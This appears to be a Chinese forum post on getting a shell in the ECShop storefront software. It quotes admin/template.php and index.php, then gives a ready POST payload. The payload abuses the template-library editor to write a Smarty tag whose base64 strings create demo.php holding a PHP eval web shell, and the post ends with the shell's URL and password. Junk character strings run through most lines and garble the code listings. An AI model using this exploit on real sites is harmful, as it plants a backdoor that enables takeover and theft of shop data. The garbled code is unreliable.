首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
1 e+ k+ o( l ^* i) T. o- B' S+ a# @9 \% x
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了% D2 {1 c5 A" M& S4 A% U" z% Q
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码% G$ }: z& X/ |
admin/template.php
9 p5 }1 m' _" z! t$ x) }4 G# B) [, }, `& w- v* G$ Y! |8 z
1 if ($_REQUEST['act'] == 'update_library')
! P _1 |) s1 R, B8 K. q; x- \ l) I2 x# u9 ~$ ~
2 8 ^; P' E: `( q) h+ a
* I" C( T t( @- O: ~* v+ V& {3 {
" D/ @( a, H6 L& [- H/ d: n0 Q6 q" t) k- R3 ~( r2 _
4 check_authz_json('library_manage'); ; ?9 b' K, T* R/ ?! o
# c/ Y6 t" F0 G% s: U9 v) k& o5 3 W9 \! k7 t8 B3 X. O7 @- \" Z, i2 l
! W2 d+ N' i1 }( ?1 p0 T- V
6 $html = stripslashes(json_str_iconv($_POST['html']));
1 U ]2 F# T: y3 F7 d
3 n1 Q) u. o+ ?5 T/ D5 g7
) O$ Y: ~% H+ H; X% g7 @* d1 ?, _& @$ M. i( C) p
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 - v, {- c; W& a, K7 h5 C
; o5 C' P, o( E6 O/ m
9 0 C$ }* x+ b+ \" b# z
- C1 a- g/ o: N6 I9 z3 {10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 0 d; a4 i I+ {- {2 `: @- a7 {
* _" I6 v& B& N' G6 K( P8 L
11
+ R5 w7 T. L. s3 Q7 V
^ w% s z! s4 c4 D: g5 @12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); / q% H7 M5 s4 Q; H: v8 ?
1 G4 ]* M8 P* A
13
0 z# M- h9 v0 ?6 i5 \4 _ u& H3 `' C1 j7 Q# z- @/ _. O. x
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
: n. v* z7 ]. F+ {7 s. \
2 l2 s) `7 `$ q+ V! p' ^" I15 { & X" M1 y2 ` E8 O
7 K- Z3 L0 D" k" C
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); / p+ K3 J* p' M: }1 t
9 P- ]5 C- r) Z; W$ z( g17 make_json_result('', $_LANG['update_lib_success']); 7 q9 Q9 x, y0 |+ R" T8 F: \# T( H
+ j" g4 O; f; J/ w
18 }
6 h- ^2 Y: f6 G6 U# N% N8 ~0 o2 r6 o: M' ~) [& V
19 else 9 J! M/ X( w9 M3 x; Y$ m
- M- M5 Y/ [. `' D' x
20 {
" T2 m3 [3 @9 ~" F- ]/ S
, m1 [2 p5 @8 h21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
+ y, a/ a) h+ O `7 d: p0 ^
' S5 ^9 T* Q" A( g: M) T22 }
8 M( W% d4 F# N; N1 q5 d" }2 G1 X
23 }
# j, G7 @4 O# r" R6 ~+ t6 Z- f: q0 o% |% b2 I b) y: B% ~
那么找个比较方便调用了模板的文件& e2 m1 U1 R4 t5 b! N
index.php
( _/ d; x1 w& J* y+ I& c
* ?2 K! z& Z, N1 if ($act == 'cat_rec')
# f+ [4 u |9 V5 q! E G7 _) k9 V- ]6 s
2 6 ^0 t% F1 G( ~& i8 ?; j
7 {& _6 K: P/ A! S
3 {
7 Y7 ]4 [( _. J" s6 o: c+ a/ g B0 Z+ i# s
4 v/ f o. j9 N2 k5 X* e5 `8 e
% l5 |/ _ U) S; ^6 `
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); , S% m8 U5 i$ y4 X
7 c9 B2 M0 n0 k% R6 8 n, \! [8 [+ O2 V5 q1 y" R$ J
, R8 ~+ s, @9 S3 T& F- N. v: B4 s
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
8 B0 z# a* b$ e4 f* Z0 y7 p# x0 O# h0 u+ C0 }' _1 W' Q
8
, `6 e. }. i1 Z" R& Y# G% e
7 [. ^% n& R" w9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
) {' \! U% z5 D- Q* \% [) B$ T9 [3 a' e, U
10 ! U) ]" \& c8 C) C3 ?- S& F1 v
1 U) a0 A. x* f x5 }+ Z
11 include_once('includes/cls_json.php');
& J) L' f& t0 t/ b% U2 K8 W& |
, U1 X6 S0 x3 Y4 r12 : w" k' k8 O- j! A5 j& S) O
! `& Q. ]% }; I; Y: L6 z0 }; B; G) W13 $json = new JSON; 8 Q. I; k! i' g' j! ]
4 [, B$ h- x' j; K! t; F _0 e! b4 q
14 9 [6 G. ?3 q* _$ @1 a' P" w+ o
1 f- h/ D! c+ p5 m) c
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
; }0 m' F5 }5 V1 V3 W# H/ u! s0 _& w6 g; Y, I$ [
16 2 R& x0 C/ z7 [ O+ D
8 o: e9 H7 H4 i1 R! `" [17 $children = get_children($cat_id);
# r# M& I& Z' Q4 D, r. O Q1 U. c; n
/ |# m: C2 }& L' B3 H5 f18 ; A$ P! f% z( K* o6 [: A( Z5 @* U
* _5 v1 [ @- G6 b* l
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
# B! d- ^ |0 G/ E; c- Z& s( Z& C, g& }
20
( t9 p6 u; r- ? d( w8 Q
9 G+ P, _! H; i7 S3 [* o5 J; o+ G21 $smarty->assign('cat_rec_sign', 1);
3 `. x& E# _. o' u7 R' R
* D5 Z8 {7 I1 ]+ j4 n22 1 e7 G6 V! b! X, P( j
9 ` J! h& P% @
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
2 {' |! t: Y1 b+ c- n. A+ u' b P! t/ m( u7 r) E
24 & T- E5 f) v. V& |$ ~' w- T
9 u ?. k0 w% y0 f25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; & }9 e; l- A0 t- t7 L# z
+ B& K" }" R% k7 _/ s26 ( }8 B' J7 {. ?1 k9 b- x) v
8 a& Y- V7 C7 S
27 echo $rec_array[$rec_type]; & \3 n: C. l5 [' a- P2 I( C
! t& p4 O, j8 x! T3 e4 X
28
6 X, d9 O' W ^, a
) H' k' q. p2 W( h* i29 die($json->encode($result)); ( O/ Z3 d/ c* p
2 r$ A3 R1 Q z! o! H8 f30 # D0 c1 ^9 T7 {7 l. E, E, q
7 @0 b" w2 z; D, \5 \31 } $ A8 W$ Z: g! E) q
% O% F1 b2 V9 w+ V: Q/ V1 _; l那么就有利用方法了
x8 D: O2 A% w9 g6 X5 P; Ppost包到http://localhost/ec/admin/template.php?act=update_library: M# J% }3 F2 {' W! b
Post内容:
9 J1 Q1 j; ?. s3 e) E7 t$ Q I1 o) ^ k
1 s& W4 c& X$ W2 a+ Z6 f% ?* t
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
! h1 }/ V( m" m& u" w" j& J
+ |5 H5 N- }) f; w) e( l然后访问http://localhost/ec/index.php?act=cat_rec
+ V: w- I0 p' w4 O9 ^. Q: d
V+ T: t# Z5 U. j- wshel地址:http://localhost/ec/demo.php* v) ?9 a$ `! X* F* e2 k. X8 l
密码c
9 B5 n2 q( v' L8 e9 g8 ~4 d9 t9 O0 I$ V: A) `& d3 P
|